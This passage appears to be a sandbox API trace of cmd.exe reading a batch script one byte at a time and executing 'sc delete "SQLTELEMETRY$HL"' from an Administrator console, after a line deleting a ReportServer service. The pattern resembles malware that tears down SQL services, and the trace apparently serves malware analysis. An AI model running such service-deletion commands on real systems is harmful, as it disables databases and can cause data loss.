lpOverlapped=0x0) returned 1 [0071.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete ReportServer\n0\nService\n\n") returned 1 [0071.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete ReportServer\n0\nService\n\n") returned 1 [0071.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te ReportServer\n0\nService\n\n") returned 1 [0071.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e ReportServer\n0\nService\n\n") returned 1 [0071.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" ReportServer\n0\nService\n\n") returned 1 [0071.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="\"eportServer\n0\nService\n\n") returned 1 [0071.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="SportServer\n0\nService\n\n") returned 1 [0071.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="QortServer\n0\nService\n\n") returned 1 [0071.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="LrtServer\n0\nService\n\n") returned 1 [0071.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="TtServer\n0\nService\n\n") returned 1 [0071.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="EServer\n0\nService\n\n") returned 1 [0071.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="Lerver\n0\nService\n\n") returned 1 [0071.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Erver\n0\nService\n\n") returned 1 [0071.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="Mver\n0\nService\n\n") returned 1 [0071.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="Eer\n0\nService\n\n") returned 1 [0071.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="Tr\n0\nService\n\n") returned 1 [0071.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="R\n0\nService\n\n") returned 1 [0071.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.342] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.342] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="Y0\nService\n\n") returned 1 [0071.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="$\nService\n\n") returned 1 [0071.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="HService\n\n") returned 1 [0071.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="Lervice\n\n") returned 1 [0071.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="\"rvice\n\n") returned 1 [0071.343] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.343] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.343] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0071.343] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="\nvice\n\n") returned 1 [0071.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.344] GetFileType (hFile=0xb8) returned 0x3 [0071.344] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.344] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.344] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.344] GetFileType (hFile=0x120) returned 0x3 [0071.344] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLTELEMETRY$HL\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLTELEMETRY$HL\"\n", lpUsedDefaultChar=0x0) returned 29 [0071.344] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1c, lpOverlapped=0x0) returned 1 [0071.344] GetProcessHeap () returned 0x4a0000 [0071.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0071.344] GetProcessHeap () returned 0x4a0000 [0071.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0071.344] GetProcessHeap () returned 0x4a0000 [0071.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0071.344] GetProcessHeap () returned 0x4a0000 [0071.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0071.344] GetProcessHeap () returned 0x4a0000 [0071.344] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa40 [0071.345] GetConsoleOutputCP () returned 0x1b5 [0071.345] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0071.345] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.345] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.345] GetProcessHeap () returned 0x4a0000 [0071.345] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0071.345] GetProcessHeap () returned 0x4a0000 [0071.345] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4b9b30 [0071.345] GetProcessHeap () returned 0x4a0000 [0071.345] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0071.345] SetErrorMode (uMode=0x0) returned 0x1 [0071.346] SetErrorMode (uMode=0x1) returned 0x0 [0071.346] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0071.346] SetErrorMode (uMode=0x1) returned 0x1 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0071.346] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.346] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0071.346] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0071.346] GetProcessHeap () returned 0x4a0000 [0071.346] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0071.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.347] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.347] GetLastError () returned 0x2 [0071.347] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.347] GetLastError () returned 0x2 [0071.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.347] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0071.347] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0071.348] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0071.348] GetLastError () returned 0x2 [0071.348] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0071.348] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0071.348] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.348] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.348] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.348] GetProcessHeap () returned 0x4a0000 [0071.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0071.348] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.349] GetProcessHeap () returned 0x4a0000 [0071.349] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb0) returned 0x4b9180 [0071.349] GetProcessHeap () returned 0x4a0000 [0071.349] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb0 [0071.349] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLTELEMETRY$HL\"") returned 1 [0071.349] GetProcessHeap () returned 0x4a0000 [0071.349] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0071.349] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0071.349] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0071.349] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.350] GetProcessHeap () returned 0x4a0000 [0071.350] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.350] _wcsnicmp 